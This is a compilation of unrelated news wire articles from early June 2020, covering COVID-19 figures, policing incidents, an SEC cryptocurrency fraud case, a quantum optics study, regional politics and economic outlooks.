"He pretty much screamed at us. He was saying, 'F--- you. You guys [are] inciting riots.' He kept saying we're 'deviants.' I'm not sure exactly what he meant by that," the man, who requested anonymity, told the television station.

Brennan's attorneys, Andrew Jezic and David Moyse, said that he "recognizes that his outrageous behavior toward the young adult victims on the Crescent Trail was unacceptable and wrong" and the "outrage felt in our community and across our country is completely justified."

"Unfortunately, several innocent people were also victimized by having been erroneously identified online, and their reputations were tarnished," the attorneys said.

Brennan, in a statement provided by his lawyers, said: "I am sick with remorse for the pain and fear I caused the victims on the trail, and online."

"I am cooperating fully with authorities. I am committed to making amends by addressing, through counseling, the underlying issues that led to my abhorrent behavior," Brennan said.

He added that he was "dedicated to working with the Montgomery County State Attorney's Office to provide peace to our community and justice to the victims in the video, as well as to all victims of racism and police brutality."
A Jodhpur policeman kneeled on a man in an attempt to subdue him after he turned aggressive and refused to pay a fine for not wearing a mask in public, reigniting memories of a similar incident in the United States in which an African-American died.

George Floyd, a Houston resident, died after he was pinned to the ground by a white police officer who kneeled on his neck as he gasped for breath. His death on May 25 has triggered a widespread violent protest in the United States and sparked a debate on systemic racism.

But Jodhpur police said the man, identified as Mukesh Kumar, 40, snatched the mobile phone of a policeman and assaulted two constables who confronted him for not wearing a mask in public. Kumar also tried to run away without paying the fine, they said.

Still, many Internet users slammed the police approach after a video of the incident went viral on social media.

"@PoliceRajasthan world is protesing over a similar act by police in US. There is something very wrong with police's system (sic)," Hena Fatima said on Twitter.

"Police recruitment, selection, training & motivation, all need substantial improvement. Anger management, compassion should be the foundation of the police service," Girish Arora tweeted.

The video showed Kumar aggressively resisting the policemen and engaging in a fistfight. It also showed a constable kneeling on him for a few seconds and trying to take back his phone.

Police have arrested Kumar but are yet to take action against the constable, terming his action "unintentional and spontaneous".

"We arrested him and sent him to the judicial custody," said ACP Neeraj Sharma.

Sharma said Kumar was booked in another case last June for allegedly piercing an eye of his father with a screwdriver. A charge sheet has been filed in the court in that case.

Describing the incident, the ACP said two constables spotted Kumar without a mask at Pahla Pulia on Thursday evening. They warned him for not wearing a mask and asked him to pay the fine, which infuriated him and he began misbehaving and threatening the policemen.

Sharma said Kumar was hostile and not cooperating with the policemen. When the constables tried to confront Kumar, he fell down and it was "an spontaneous turn of things".
The Securities and Exchange Commission today announced that it has obtained an asset freeze and other emergency relief against Daniel F. Putnam, of Utah, Jean Paul Ramirez Rico, of Colombia, and Angel A. Rodriguez, of Utah, who allegedly defrauded investors of more than $12 million in two cryptocurrency-related schemes.

The SEC's complaint, unsealed today in federal court in Salt Lake City, alleges that, beginning in at least July 2017, Putnam operated a multilevel marketing business known as "Modern Money Team" and sold interests in a purported cryptocurrency mining operation to nearly two hundred investors. According to the complaint, Putnam misappropriated some of these investor funds and spent them on a condominium and other personal expenses. The complaint alleges that Putnam, Ramirez, and Rodriguez, then raised additional funds by offering so-called "cryptocurrency trading packages" to investors with the potential for high returns. In reality, as alleged, the defendants misappropriated investor funds for personal use and to make Ponzi-like distributions to earlier investors. According to the complaint, the defendants conducted these fraudulent schemes through two Utah companies controlled by Putnam, MMT Distributions, LLC and R & D Global, LLC.

The SEC's complaint, filed under seal on May 7, 2020, charges Putnam, Ramirez, Rodriguez, MMT Distribution, and R & D Global with violating the antifraud provisions of Section 17(a) of the Securities Act of 1933 and Section 10(b) of the Securities Exchange Act of 1934 and Rule 10b-5 thereunder. The complaint further charges Putnam, Ramirez, and MMT Distribution with violating the registration provisions of Sections 5(a) and 5(c) of the Securities Act, and names Putnam's father, Richard T. Putnam, as a relief defendant. In addition to the asset freeze and other emergency relief obtained, the SEC seeks permanent injunctions, disgorgement of ill-gotten gains with prejudgment interest, and civil penalties.

The SEC's investigation was conducted by Laurie Abbott and Scott Frost of the Salt Lake Regional Office and supervised by Regional Director Daniel Wadley. The litigation will be led by Amy Oliver. The SEC appreciates the assistance of the FBI, the IRS, and the British Columbia Securities Commission.
Jacinda Ardern has blocked a start date for trans-Tasman travel bubble saying Australia needs to reduce coronavirus cases before the route opens.

The Australian Chamber of Commerce and Industry has drawn a plan to restart flights between Canberra and Wellington from July.

The trans-Tasman blue-print has the backing of the Wellington, Auckland and Canberra business chambers, with Canberra Airport even opening a register of interest for potential flights on July 1 and 2.

But Ms Ardern shot down the proposal on Thursday saying Australia's COVID-19 case numbers were still too high.

New Zealand Prime Minister Jacinda Ardern (pictured) has shut down a proposal from the Australian Chamber of Commerce and Industry to open a trans-Tasman travel bubble from July

'We are getting ready ... but it does come down to our COVID status,' she said.

'We're (New Zealand is) on a great track. Australia is still dealing with cases, so just a little bit more progress is required.

'It is fair to say we are all very eager but we're eager to do it safely.'

Ms Ardern wouldn't be drawn on a timeframe, saying 'pressing go will take both the NZ and the Australian government to tick that off'.

New Zealand Deputy Prime Minister Winston Peters said broader travel route options would be preferred to reflect demand.

'I wouldn't have thought Wellington and Canberra are the best places for this flight,' he said.

'Nothing against Canberra, but I'm for mass population movement by way of demand, rather than the capital cities.'

The Trans Tasman Safe Border Group, a government-backed group, has prepared a report on the resumption of regular flights, due to be handed to both Prime Minister Scott Morrison and New Zealand counterpart Jacinda Ardern on Friday.

The report has been compiled by 40 experts from the Department of Foreign Affairs and Trade, Australian Border Force, New Zealands Department of Foreign Affairs and Aviation Security Service, Qantas and Air New Zealand.

Government sources say it is the most likely travel bubble plan to win approval.

Qantas and Air New Zealand have been named as the two proposed airlines that will operate under the trans-Tasman travel bubble

Ms Ardern has flagged September as a realistic date for Australians to travel across the Tasman. Pictured is Hahei, New Zealand

Air New Zealand, named alongside Qantas as one of the two proposed airlines to fly between the capitals, isn't firing up their engines just yet.

'Air New Zealand is not proposing Tasman operations until such time that the Tasman borders are open, and only with the support of governments on both sides,' the airline told AAP.

'We appreciate that both businesses and travellers are enthusiastic about operations, and we assure customers that as soon as it is possible to operate, Air New Zealand will be ready to return to the Tasman.'

Ms Ardern has previously flagged September as a realistic prospect for the creation of a trans-Tasman travel bubble, though tourism and business bodies are pushing for this to be created sooner.

The travel bubble could reopen tourism markets in both countries worth $6billion in total.

Australia has 498 active cases of COVID-19 while New Zealand has one.

Nationwide, there have been 7240 confirmed cases of coronavirus including 102 deaths.

New Zealand has recorded 1154 infections including 22 deaths.
T he number of people who have died after contracting coronavirus has passed 40,000 with a rise of 357 deaths in the past 24 hours.

The Department of Health announced 357 new deaths of Covid-19 in hospitals care homes and the wider community as of 5pm on Thursday.

This brings the total UK coronavirus death toll to 40,261 - more than double the best case scenario outlined by the medical director of NHS England in March.

Stephen Powis previously said the country would have "done very well" to stay below 20,000 deaths.

"If we can keep deaths below 20,000 we will have done very well in this epidemic," he said. "If it is less than 20,000... that would be a good result though every death is a tragedy, but we should not be complacent about that."

In the 24-hour period up to 9am on Friday, 207,231 tests for the disease were carried out or dispatched with 1,650 positive results.

Overall, a total of 5,214,277 tests have been carried out and 283,311 cases have been confirmed positive.

Earlier today NHS England said there were 123 new deaths of patients who tested positive for Covid-19 in hospitals in England, bringing the total number to 27,282.

Another 14 deaths were recorded in Scotland, bringing the total to 2,409, Nicola Sturgeon said.

Public Health Wales said a further four people have died after testing positive for coronavirus, taking the total number of deaths in Wales to 1,383.

One more person with coronavirus has died in Northern Ireland, taking the total recorded by the Department of Health  a toll primarily accounting for hospital deaths  to 536.

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The number of people who have died in the UK after contracting the disease across all settings will be announced later today.

According to the NHS England figures, 19 of the new deaths took place in May, four occurred in April, and the remaining one death took place on March 25.

NHS England releases updated figures each day showing the dates of every coronavirus-related death in hospitals in England, often including previously uncounted deaths that took place several days or even weeks ago.

This is because of the time it takes for deaths to be confirmed as testing positive for Covid-19, for post-mortem examinations to be processed and for data from the tests to be validated.

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The figures published on Friday by NHS England show April 8 continues to have the highest number of hospital deaths on a single day, with a current total of 899.
Researchers from the Moscow Institute of Physics and Technology, joined by a colleague from Argonne National Laboratory, U.S., have implemented an advanced quantum algorithm for measuring physical quantities using simple optical tools. Published in Scientific Reports, their study takes us a step closer to affordable linear optics-based sensors with high performance characteristics. Such tools are sought after in diverse research fields, from astronomy to biology.

Maximizing the sensitivity of measurement tools is crucial for any field of science and technology. Astronomers seek to detect remote cosmic phenomena, biologists need to discern exceedingly tiny organic structures, and engineers have to measure the positions and velocities of objects, to name a few examples.

Until recently, no measurement tool could ensure precision above the so-called shot noise limit, which has to do with the statistical features inherent in classical observations. Quantum technology has provided a way around this, boosting precision to the fundamental Heisenberg limit, stemming from the basic principles of quantum mechanics. The LIGO experiment, which detected gravitational waves for the first time in 2016, shows it is possible to achieve Heisenberg-limited sensitivity by combining complex optical interference schemes and quantum techniques.

Quantum metrology is a cutting-edge area of physics concerned with the technological and algorithmic tools for making highly precise quantum measurements. In their recent study, the team from MIPT and ANL fused quantum metrology with linear optics.

"We devised and constructed an optical scheme that runs the Fourier transform-based phase estimation procedure," said study co-author Nikita Kirsanov from MIPT. "This procedure lies at the core of many quantum algorithms, including high-precision measurement protocols."

A specific arrangement of a very large number of linear optical elements -- beam splitters, phase shifters, and mirrors -- makes it possible to gain information about the geometric angles, positions, velocities as well as other parameters of physical objects. The measurement involves encoding the quantity of interest in the optical phases, which are then determined directly.

"This research is a follow-up to our work on universal quantum measurement algorithms," commented principal investigator Gordey Lesovik, who heads the MIPT Laboratory of the Physics of Quantum Information Technology. "In an earlier collaboration with a research group from Aalto University in Finland, we experimentally implemented a similar measurement algorithm on transmon qubits."

The experiment showed that despite the large number of optical elements in the scheme, it is nevertheless tunable and controllable. According to the theoretical estimates provided in the paper linear optics tools are viable for implementing even operations that are considerably more complex.

"The study has demonstrated that linear optics offers an affordable and effective platform for implementing moderate-scale quantum measurements and computations," said Argonne Distinguished Fellow Valerii Vinokur.

###
Beijing's renowned coronavirus expert has claimed that the West 'insulted' China by accusing the country of covering up its true scale of the COVID-19 outbreak.

Zhong Nanshan, the public face of the country's fight against the deadly disease, denied such claims and said that China would use facts to prove its transparency.

China, where the pandemic began, has faced a fierce backlash from other countries  particularly the US  over its suspiciously low numbers of infections and deaths caused by the killer bug.

Zhong Nanshan (pictured on February 27), the public face of the country's fight against the deadly disease, denied such claims and said that China would use facts to prove itself

China, where the pandemic began, has faced a fierce backlash from other countries  particularly the US  over its suspiciously low numbers of infections and deaths caused by the killer bug. This picture taken on May 25 shows volunteers checking a resident's temperature

Pictured, a medical worker wearing full protective gear gestures as he prepares to take swab samples from a journalist before the closing ceremony of the National People's Congress

It comes as US President Donald Trump lashed out on China once again during a briefing last Friday, blaming China not being transparent enough about the 'Wuhan' virus, which is what he has called the coronavirus.

'China's cover-up of the Wuhan virus allowed the disease to spread all over the world, instigating a global pandemic that has cost more than 100,000 American lives,' he said.

The Associated Press revealed on Tuesday that the WHO officials were frustrated by significant delays in the information sharing by Beijing when the coronavirus outbreak erupted in China in January.

In an interview with state broadcaster CCTV today, the Chinese senior medical adviser claimed that China was thoroughly transparent and timely in releasing coronavirus data with the world.

US President Donald Trump (pictured on May 29) continuously blamed China not being transparent enough about the 'Wuhan' virus, which is what he has called the coronavirus

It comes as the Associated Press revealed on Tuesday that the WHO officials were frustrated by significant delays in the information sharing by Beijing when the coronavirus outbreak erupted in China in January. Pictured: WHO Director-General Dr. Tedros Adhanom Ghebreyesu

Beijing's renowned coronavirus expert has claimed that the West 'insulted' China by accusing the country of covering up its true scale of the COVID-19 outbreak. This file picture taken on February 6 shows medical staff work in the isolated intensive care unit in a hospital in Wuhan

'The US has the highest infection rate and death rate. [Such rates in] European countries are also quite high,' said Mr Zhong. 'Only China comes last and has the lowest rates.

'Therefore, they conclude that we are hiding because of such low rates.'

The 83-year-old epidemiologist added that the results of Wuhan's recent mass coronavirus testing aligned with the official figures released by the Chinese government.

The former epicentre of 11million people, recently screened nearly 10 million residents for COVID-19 within nearly three weeks after a new cluster of infection emerged.

The local government claimed on Tuesday that they found no confirmed COVID-19 infections during the process.

But officials recorded 300 asymptomatic patients, those who show no symptoms but can still spread the virus.

The former epicentre of 11million people, recently screened nearly 10 million residents for COVID-19 within nearly three weeks after a new cluster of infection emerged. A group of residents wearing face masks wait in line for nucleic acid testing in Wuhan on May 15

A 'mysterious' cluster of COVID-19 infections has ravaged a Chinese region of over 100 million residents as footage captures throngs of hazmat-clad workers conduct mass-testing on the citizens under Wuhan-style lockdown. Pictured, medical workers wait to be disinfected as they line up to submit the COVID-19 samples in Jilin on Sunday

Referring to the mass-testing in Wuhan, Mr Zhong said: 'It again shows, with facts, that we indeed have such low infection rates.

'We did not hide anything. It's all true,' he added.

'Foreign countries insult us by saying cover-up, we don't need to explain to them.

'We explain with facts,' Mr Zhong claimed.

His remarks came as Wuhan, where the pandemic began, has announced zero active confirmed cases in the city for the second time after it has discharged all seven patients who contracted the bug from an infection cluster in May.

The former epicentre claimed zero confirmed infections for the first time in late April. But fears of a new crisis erupted after Wuhan reported a new cluster of infection on May 10.

he former epicentre claimed zero confirmed infections for the first time in late April. But fears of a new crisis erupted after Wuhan reported a new cluster of infection on May 10. An airline worker wearing a face mask checks the body temperature of passengers in Wuhan's airport

China plans to release a white paper on the country's progress in fighting the coronavirus outbreak this Sunday, according to Chinese media. Residents wearing face masks are pictured riding bicycles in Chaoyang District, the central business district in Beijing on May 26

Five new confirmed COVID-19 infections were reported in China today. They were all said to be imported cases from inbound travellers.

A total of 61 imported patients are being treated in hospital, according to China's Health Commission. There are also 66 active domestic infections in the country.

The deadly disease has infected 83,027 people in China and claimed at least 4,634 deaths.

China plans to release a white paper on the country's progress in fighting the coronavirus outbreak this Sunday, according to Chinese media.

Globally, nearly 6.5million people have contracted the killer bug and over 383,000 people have died.
Im from the South Side, 132nd Street and Indiana. I grew up over there. I know how it feels to feel forgotten about, like no one cares, he said. We wanna help them feel good. We wanna get them something delicious, comforting. We wanna let them know that, you know, someone is thinking about you.
ALBUQUERQUE, N.M. (AP)  The head of Albuquerque polices Real-Time Crime Center, whose hiring in 2018 generated anger because of his role in a New Jersey excessive force lawsuit decades ago, has been promoted.

City records show that Leonard Nerbetski was recently promoted from his civilian status to police commander while he oversees a unit that includes dispatchers and crime analysts.

Albuquerque police spokesman Gilbert Gallegos said the department changed Nerbetskis job to a sworn position because of the combination of managing crime data and analysis with support for field and investigative functions. Among those duties are heading up a center that responds to violence related to protests and rallies, Gallegos said.

Albuquerque polices hiring of Nerbetski in 2018 came as the department worked through reforms on how its officers use force under a U.S. Justice Department settlement agreement.

In 1999, an Associated Press report named Nerbetski as one of two troopers accused of roughing up Laila Maher and Felix Morka, both women of color, during a traffic stop on the New Jersey Turnpike. The lawsuit alleged Nerbetski twisted the arm of Maher, an Egypt-born woman who was in her 20s at the time, and held a gun to her head.

In a telephone interview in 2018, Maher told The AP that to this day, she becomes filled with anxiety when police pull her over for a routine stop.

While the New Jersey later admitted to no wrongdoing under the settlements, the Newark Star-Ledger reported that the traffic stop involving Nerbetski and the other trooper led to changes in how New Jersey State Police handle complaints of misconduct.

News of the promotion drew outrage from some Black Lives Matter demonstrators who feared that Nerbetskis past would cloud his judgment on how to deal with peaceful protesters.

His actions make it difficult for some of us to trust him, said Arthur Bell, who led a peaceful march in Albuquerque on Sunday. He should not be in any position where hes monitoring protests.

News of the promotion also came while Albuquerque Mayor Tim Keller expressed support for the Black Lives Matter movement and denounced the killing of George Floyd, a black man who died in Minneapolis after a white officer pressed his knee into his neck even after he stopped moving and pleading for air.

In a statement, Keller said the city held many forums at City Hall and in the International District following Nerbetskis hiring, which resulted in community members agreeing to give him a chance to do the job.

Since his incident 20 years ago, he has demonstrated an ability to bring change at his previous department, be an example of reform, and is committed to help APD through its ongoing transformation, Keller said. At APD, he has been a diligent data manager and his role does not include any decisions about mass gatherings and protests. We are not aware of any issues of any kind since he started.
New Delhi, June 5 : With five new cases reported on Friday, a total of 56 staffers from the New Delhi Municipal Council have tested Covid positive so far along with two deaths reported, officials said.

Among the 56 cases, while four have recovered, 50 cases are active as of now, an NDMC official said.

The first death in the NDMC was reported on June 1, while the second on June 3.

"Total 56 cases have been reported so far from the NDMC. Four people have recovered and 50 cases are active," the NDMC official said.

In an order issued on June 1, the NDMC said the employee -- a 'Beldar' working at Drainage Service Centre, Netaji Nagar -- attended his last duty on May 23 and was later shifted to hospital after testing COVID-19 positive, where he died.
By Azernews





By Akbar Mammadov

The head of the Azerbaijani community of the Nagorno-Karabakh region of Azerbaijan Tural Ganjaliyev held discussions on the Nagorno-Karabakh conflict with France's Ambassador to Azerbaijan Zacharie Gross.

The French ambassador posted about the meeting on his Twitter page on June 5.

"Great conversation yesterday with Tural Ganjaliyev and his team concerning his priorities - first and foremost promoting dialogue and a peaceful solution to the Nagorny-Karabakh conflict. Many thanks", Gross wrote.

It should be noted Tural Ganjaliyev is also an elected MP from Khankendi district of Azerbaijan.

In the meantime, France is also one of the mediators of the Armenian-Azerbaijani conflict since the signing of the volatile cease-fire agreement in 1994 as one of the co-chairs of the OSCE Minsk Group.

Azerbaijan and Armenia are locked in a conflict over Azerbaijans Nagorno-Karabakh breakaway region, which along with seven adjacent regions was occupied by Armenian forces in a war in the early 1990s. More than 20,000 Azerbaijanis were killed and around one million were displaced as a result of the large-scale hostilities.

The OSCE Minsk Group co-chaired by the United States, Russia and France has been mediating the Armenian-Azerbaijani conflict since the signing of the volatile cease-fire agreement in 1994. The Minsk Groups efforts have resulted in no progress and to this date, Armenia has failed to abide by the UN Security Council resolutions (822, 853, 874 and 884) that demand the withdrawal of Armenian military forces from the occupied territories of Azerbaijan.
Like the hands on a clock, Bone Island Grille Owner Karen Drushal could count on her early-rising regulars to sit at the same tables for breakfast every morning.

When Bone Island reopens at 8 a.m. Monday, June 8, nearly three months after the Jackson restaurant closed due to the coronavirus pandemic, things will be different. Some of those regulars wont be there, and the tables will be rearranged for social distancing.
He decided to practice what he preached, taking time to exercise, walking every day and re-engaging with hobbies, including horse racing and barbequing. Ashton is just weeks away from retiring after five years in the top job and says he is looking forward to doing nothing. He says the one upside to social distancing is that he will be able to slip away without a series of big farewells. I dont like to be the centre of attention. I dont like the fuss, he says. His term will be defined by several major initiatives but none more than trying to address the mental health challenges facing serving and former police.

He has worked to remove any stigma and allow police to openly declare they are struggling and seek help before conditions become chronic. He has also reached out to former officers who have fallen through the cracks. As he reflects on his career he wonders why he waited until he had the top job before acting. I could have done more when I was deputy and assistant commissioner, he says. Like most of us, he has been personally touched by suicide. I didnt pick up the signs. They were asking if I was OK and I didnt see that they werent. One was a respected detective. I saw him on the Wednesday and he died on the Saturday. Mental health is a massive community issue, he says, with police responding to a mental health episode every 12 minutes.

We respond to the flashpoint. We can deal with the symptoms, not the bigger disease. On May 28 police shot dead a man suffering a mental health episode on the Eastlink interchange in Dandenong North. It is a no-win, no-blame story destined to be repeated. Police are the first on scene, they cant withdraw and leave a disturbed and armed person wandering on a busy freeway. Police body cameras show them trying to calm the man before he charges with a knife and is shot in self-defence. Ashton had been a policeman for 35 years when he was appointed Victorias chief commissioner. I didnt appreciate the pressures. As deputy you can talk to the Chief, but as the Chief Commissioner you are it.

He says you tend to wear hindsight goggles, wondering if you have made the right decisions. Ashton says he was always going to be a one-term chief commissioner because you innovate, set a course and then get out of the way for the next one. It is a hard job and gets harder every year. It will be harder for Shane [Patton, his successor] than me. He says we can expect a spike in crime. In April we had the lowest figures for years but in May we have seen a snapback. He says that historically there is more crime when unemployment is high: We can expect a crime surge for a year or two. Police now have to deal not only with demonstrations but the growth in counter-protests where groups with opposing views arrive to incite violence.

We try to keep them apart, to keep groups from becoming angry mobs. And we end up the meat in the sandwich. His worst day was the dreadful call on April 22 that police had been hit during a traffic stop on the Eastern Freeway. He was in the office, having just finished an online meeting when he received an alert of an incident. Chief Commissioner Graham Ashton at the funeral of Constable Glen Humphris. Credit:Joe Armao By the time he arrived home he was told there were fatalities: First it was three and then it was four. When he arrived at the devastating crash scene, it was eerily quiet. The members there were carrying out their roles in silence - each doing their bit.

The following day the Chief Commissioner spoke to the families of Senior Constable Kevin King, Constable Glen Humphris, Leading Senior Constable Lynette Taylor and Constable Joshua Prestney. It is part of the job that no one wants but it comes with the territory. Ashton spent most of his career with the Australian Federal Police but was smart enough to embrace and nurture the traditions of the Victoria Police, regularly speaking to predecessors, including Mick Miller and Ken Lay. He was also chief when the government was prepared to throw unprecedented funds at law enforcement. The result is Ashton will leave a very different force from the one he first led five years ago. Loading

We have thousands more police, Counter Terrorism Command has been expanded, public order police trained and re-equipped with serious weaponry including flash/bang devices, police wear body cameras (a game-changer) and they now have handheld devices linked to the computer system (about 20 years too late). Police are getting a new fleet of vehicles including BMWs and Mercedes (in the old days the only cops who drove cars like that ended up in jail) and larger, safer divisional vans. Later this month police will move out of the Victoria Police Centre in Flinders Street (about as fit to be police HQ as Noahs Ark would be to take out line honours in the Sydney to Hobart) to their new building in Spencer Street. At 39 storeys, linked by sky bridges to the crime command next door, it will give police the first real headquarters since Russell Street closed more than 30 years ago. There will be a 15-metre glass mural tribute to the history of Victoria Police and an illuminated giant police badge set into the floor and the building will house 2500 police staff (wouldnt you love to own a doughnut shop next door).

Rumour has it another law enforcement body was offered space in the complex but baulked when told they couldnt bring their happy-hour bar with them. 'Very proud': Graham Ashton, outgoing Chief Commissioner of Victoria Police. Credit:Luis Enrique Ascui On the roof is the highest heliport in the Southern Hemisphere, built to receive one of a fleet of new helicopters. The heavy lifter is designed to pick up a fully kitted team of Special Operations Group police and take them anywhere in the state on one tank. The rebuilt airwing, including three new helicopters and a fixed-wing aircraft, means police can be in the air at all times and will be used to track vehicles in pursuits. The trick now is to use all this newfangled software and hardware plus the extra police to deliver an old-fashioned product. You need to bring your traditions with you, Ashton says.

It will be one of his last official duties to open the building. Then he will leave it to deputy and new Chief Commissioner Shane Patton: Shane is a fantastic choice, he will do a great job. Im delighted it is an internal appointment [Patton joined as a teenager and has come up through the ranks]." Ashton says now police have the numbers and the equipment it is time to get back to basics and engage with the public. General duties police have been so stretched that they have had little time to patrol and have been racing from call to call. We have gone from problem solving to a response service and sometimes we have not been able to do that all that well. We need to get out and be visible. We have the numbers to do it.
DURANGO, Colo.  An insurance company representing a Colorado resort filed a lawsuit against the Durango & Silverton Narrow Gauge Railroad for damage costs associated with an extended wildfire.

Purgatory Resorts insurance provider submitted the claim shortly before the end of a two-year statute of limitations, The Durango Herald reports.

The filing by Granite State Insurance Co. of New York claims the ski resort in Durango sustained financial losses after it was forced to shut down as a result of the wildfire.

The fire began in June 2018 and burned nearby for nearly two months, consuming 84 square miles (218 square kilometers) primarily in the Hermosa Creek watershed.

The fire started about 10 miles (16 kilometers) north of Durango near the railroads tracks.

Federal officials determined the railroad caused the fire when a coal-burning locomotive emitted a cinder in an area experiencing extreme drought.

The insurance company claims that shortly before the blaze the railroad fired a significant portion of its pop car crew, which follows the train and puts out fires, replacing the workers with less experienced personnel.

Purgatorys property and business were damaged as a result of the 416 Fire, including but not limited to, smoke and ash flows, loss of business revenue, diminished property values and economic harm, the lawsuit says.

Granite State and Purgatory Resort did not immediately return requests for additional comment. The railroad also did not respond to a request for comment.

In other cases stemming from the fire, a federal court judge this week threw out the railroads motion to dismiss a U.S. government lawsuit against the company, while a lawsuit on behalf of residents and businesses affected by the first fire has been delayed.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
The COVID-19 pandemic has radically transformed the Indonesian fiscal landscape, as the government battles the impacts of the pandemic on the economy. As fiscal deficits mount from the fiscal stimulus, the era of hard-won fiscal discipline and prudence  the hallmark of Indonesias economic fundamentals for many years  has ended. After keeping fiscal deficits below the legal ceiling of 3 percent of gross domestic product (GDP), for more than two decades, the budget deficit in 2020 is projected to rise to 6.3 percent of GDP from 1.7 percent of the original budget approved last October and from 5.07 percent in the first revised budget in April.

Even at this level of deficit, it is not certain whether the Rp 641 trillion (US$42.73 billion) fiscal stimuli that the government has budgeted will be enough to mitigate the economic downturn and to ease the pain of those who are affected. The longer the pandemic drags on, the more costly efforts to contain its impact. The ability of the government to restore its budget deficit to 3 percent of GDP by 2023, as required by Regulation in Lieu of Law (Perppu) No. 1/2020, will be in doubt.

The latest revised 2020 budget projected total government revenue at 10.3 percent GDP, while expenditure is at 16.6 percent GDP. Assuming expenditure is maintained at the current level of GDP, to return the deficit to 3 percent of GDP by 2023 by raising taxes will not be easy, in view of the weakening economy and the declining tax revenue growth. Alternatively, the government could cut spending by the same amount, but this would amount to adopting an austere fiscal policy. Executing budget austerity in the middle of an economic crisis  as history has shown  could backfire and hurt the economic recovery and growth.

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Hong Kong: DC members' acts regrettable

The Government has expressed regret over Central & Western District Council members' unruly and unreasonable acts.

A number of Central & Western District Council members today convened a meeting not compatible with the District Council Ordinance and threatened the district officer and staff at the Central & Western District Office.

The District Officer (Central & Western) had issued a letter to the District Council members concerned, suggesting they revise the sub-committee's name and terms of reference to comply with the ordinance. They were also advised to postpone the meeting.

However, the District Council members convened a meeting not compatible with the ordinance. They shouted loudly and threatened District Office staff, causing a disturbance to them.

The Government expressed regret over the acts of the District Council members concerned and reserves the right to take legal action.

It appealed to District Council members to focus on district livelihood issues and advise the Government on district affairs in a rational, peaceful and pragmatic manner under the principles of mutual respect.

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
Many houses were burnt while properties worth millions of naira were destroyed in Amuzu Igbeagu community in Izzi Local Government Area over a disagreement arising from leadership and land tussle in the area.

Though details of what happened were still sketchy at the time of this report, one of the victims, Jacinta Onyiyechi, said all her certificates and other vital documents were destroyed when miscreants hired by one of the factions set her fathers house ablaze.

Another victim, who did not want her name mentioned for fear of more reprisals, accused Maurice Nkwuda, the husband of the coordinator of Igbeagu Development Centre of masterminding the crisis.

Mr Nkwuda declined comments when approached by the reporter.

The source traced the genesis of the whole incident to 2016 when some members of the community led by Mr Nkwuda plotted to hand over a mineral-rich land in the community to a prospective miner.

But the community reportedly resisted his attempts to take over the land.

The source said the communitys executives tenure had ended then and backed by Mr Nkwuda, they refused to hand over or conduct another election.

They wanted to remain in power and use their power to force the community to hand over the land to them and their preferred mining company. This led to a court case which lingered till March this year when the court gave judgement against them and ordered them to hand over to a newly elected leadership but they still refused to hand over, the source said

The source said the villagers wrote to the state government which ordered the executive to hand over the newly elected leadership.

The source noted that having lost the leadership of the village, the group resorted to inviting gunmen to attack and intimidate the villagers.

READ ALSO:

They hired gunmen who are at the border with Cross River State to attack us and burn down our houses, the source said.

They first came two days ago (Wednesday) and started shooting into the air. People ran away and they packed peoples properties and destroyed damaged some buildings.

The community complained to the commissioner for border peace and internal security who called for a meeting and sent police there. But yesterday (Thursday) night after the police left, they came back and burnt down many houses and properties.

PREMIUM TIMES could not independently verify the allegations against Mr Nkwuda or the said executive.

He refused to speak on the issue when contacted by our reporter.

I am very busy. I will call you later when I am done, he said on the phone to our reporter after which he cut the call.

He subsequently refused to pick several calls placed to his phone by the reporter. He also did not respond to text messages sent to him.

He was yet to call back as he promised at the time of this report.

His wife and coordinator of Igbeagu Development Centre, Roseline Nkwuda, also did not take calls placed to her phone line.

Leadership tussle

Meanwhile, police spokesman, Loveth Odah, confirmed the incident adding that Mrs Nkwuda denied the involvement of her husband in the attacks.

She said the crisis was rather as a result of a tussle for the leadership in the community.

Yesterday (Thursday), I had to contact the coordinator of the development centre. It was alleged that her husband was working with the former village head of the community, she said. She denied that her husband is involved in the attack. She also promised to come to the station on Monday.

Mrs Odah said the police has sent a patrol team to the area to restore calm.

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The matter has been transferred to the State Criminal Investigation Department (CID) Abakaliki and we have commenced investigation, Mrs Odah added.


Vietnamese Prime Minister Nguyen Xuan Phuc looked very happy during a visit to an industrial park last weekend. He talked to workers about their health and examined the speakers being produced in factories.

The visit was part of a government campaign to reopen Vietnams economy after containing the disease COVID-19. There is very little sign of the novel coronavirus in Vietnam. The nation has gone over six weeks without an infection, helping it to open earlier than other Southeast Asian nations.

HSBC bank used the term Pho'nomenal Vietnam when talking about the country, a reference to the well-known Vietnamese soup. In a report last week, the bank said Vietnam is the only Southeast Asian economy that will grow in 2020.

Devendra Joshi and Herald van der Linde are investment experts at HSBC. They noted in the report that the trade arguments between other nations are creating opportunities that will help Vietnams economy.

The trade tensions between China and the United States is just one example. Because of tariffs, goods in both nations have become more costly. Many companies moved their factories from China to Vietnam to escape the taxes. So Vietnam became the unexpected winner in the trade war.

The coronavirus also helped Vietnams economy in unexpected ways. When China took action to stop the virus, international supply chains suddenly stopped. Businesses looked to Vietnam as a supplier, and money flowed into the economy.

When the coronavirus hit Vietnam, forcing schools and companies to close, the economy slowed, but continued to grow at a yearly rate of 3.8 percent.

Experts say COVID-19 provides one more reason why companies should set up operations in Vietnam. When the supply chain stopped, companies around the world found that having one supplier  China  could damage their businesses. Since then, many have invested in Vietnam for the long-term.

Social distance

The government of Vietnam ended its stay-at-home order for most of the country in the middle of April.

Since then people have returned to work and school with new social-distancing measures in place.

Businesses have also changed. Ford Vietnam no longer accepts cash, and price discussion takes place online. The company also disinfects each car when it is sold or repaired.

Pham Van Dung is the general director of Ford Vietnam. He told VOA that the company thinks of keeping the safety of our employees, agents, customers and partners first.

Startup opportunity

Some startup companies in Vietnam see new opportunities coming from the coronavirus crisis. In Ho Chi Minh City, a startup company called Vibeji created a teaching website. Anyone can make money by offering educational videos about any subject  from cooking to playing games.

This is a good time to social distance and work from home, the company said.

We all should play a part during this difficult time, said Tri Lecao. He is the chief executive officer of Vibeji.

Im Susan Shand.

The Voice of America reported this story. Susan Shand adapted it for Learning English. George Grow was the editor.

________________________________________________________________

Words In This Story

admire  v. to openly compliment something

customer  n. one who buys things

tariff  n. a tax placed on items sold from one country to another

cash  n. paper or coin money

disinfect  v. to remove germs

supply chain  n. the system used by international businesses to buy parts as they are needed

park  n. an area of land set aside for play or work

reference  n. to speak about something
Source: Xinhua| 2020-06-05 05:44:54|Editor: huaxia

